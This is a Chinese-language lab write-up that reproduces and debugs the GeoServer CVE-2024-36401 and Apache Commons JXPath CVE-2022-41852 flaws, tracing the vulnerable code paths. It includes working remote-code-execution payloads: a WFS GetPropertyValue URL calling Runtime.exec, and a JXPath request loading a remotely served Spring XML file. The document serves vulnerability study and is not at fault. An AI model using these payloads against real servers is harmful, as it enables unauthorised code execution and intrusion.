配置调试环境
调试漏洞的GeoServer版本号为2.23.2,获取源代码。
1 | git clone https://github.com/geoserver/geoserver #下载 |
使用vulhub进行漏洞的远程调试。
1 | cd ~/vulhub/geoserver/CVE-2024-36401/ |
IntelliJ IDEA打开geoserver的源代码,添加运行Remote JVM Debug,端口默认为5005。
然后对代码进行断点调试。
浅析代码
官方通告
漏洞通告:
https://github.com/geoserver/geoserver/security/advisories/GHSA-6jj6-gm7p-fcvv
GeoTool组件通告:
https://github.com/geotools/geotools/security/advisories/GHSA-w3pj-wh35-fq8w
Jxpath漏洞利用:
https://github.com/Warxim/CVE-2022-41852?tab=readme-ov-file#workaround-for-cve-2022-41852
从官方的通报中可以注意到,若XPath表达式由用户输入提供,则会出现安全问题。存在安全问题的接口为
1 | org.geotools.appschema.util.XmlXpathUtilites.getXPathValues(NamespaceSupport, String, Document) |
测试样例:
1 | new org.geotools.xsd.StreamingParser( |
漏洞复现
若用户输入的参数,传输到了这些存在漏洞的类中,参数会经过JXPath引擎去进行解析,从而导致代码执行。漏洞本质是JXPath漏洞,JXpath漏洞是Apache Commons JXPath之前爆出的漏洞(CVE-2022-41852),这个JXPath对传统的XPath语句进行了拓展,支持XPath语句中插入一些表达式语言的特性,能够调用任意public的静态方法等导致任意代码执行。
官网给出的可能存在漏洞的请求
1 | WFS GetFeature |
查询官网
https://www.osgeo.cn/geoserver-user-manual/services/wfs/reference.html
WFS GetPropertyValue请求如下:
GET请求即可触发漏洞:
1 | http://localhost:8080/geoserver/wfs?service=WFS&version=2.0.0&request=GetPropertyValue&typeNames=sf:archsites&valueReference=exec(java.lang.Runtime.getRuntime(),%27touch%20/tmp/success2%27) |
定位漏洞
由前面可知,GetPropertyValue是我们要定位的位置,找到类的位置。
对run方法进行断点,进行单步调试,定位到代码propertyNameNoIndexes.evaluate处,这里调用了geotool的evaluate方法,跟进
发现org.geotools.filter.AttributeExpressionImpl#evaluate(java.lang.Object, java.lang.Class
这里调用了存在漏洞的org.geotools.data.complex.expression.FeaturePropertyAccessorFactory.FeaturePropertyAccessor#get
触发了漏洞。
CVE-2022-41852 XPath漏洞
漏洞描述
Apache Commons JXPath安全漏洞,攻击者可以利用除compile()和compilePath()函数之外的所有处理XPath字符串的JXPathContext等函数通过XPath表达式从类路径加载任何Java类,从而执行恶意代码。
JXPath及用法:
https://commons.apache.org/proper/commons-jxpath/users-guide.html
利用范围
Apache Commons JXPath <= 1.3
漏洞复现
下载POC:https://github.com/Warxim/CVE-2022-41852
POC使用Spring框架,简单实现接受用户输入并使用它从Person类中检索指定的数据。
启动Spring,在本地创建一个test.xml,如下:
1 |
|
本地再开启一个80端口,用于远程加载test.xml
1 | python3 -m http.server 80 |
Payload:
1 | http://127.0.0.1:8080/vulnerable-example?path=org.springframework.context.support.ClassPathXmlApplicationContext.new(%22http://127.0.0.1/test.xml%22) |
开启调试,断点,调用了org.apache.commons.jxpath.JXPathContext#getValue(java.lang.String)方法,跟进
跟进org.apache.commons.jxpath.ri.compiler.Expression#computeValue
继续跟进到org.apache.commons.jxpath.Function#invoke函数中,实现了Spring-Bean加载,执行恶意代码。
参考
CVE-2024-36401参考:
https://github.com/vulhub/vulhub/blob/master/geoserver/CVE-2024-36401/README.zh-cn.md
CVE-2022-41852参考: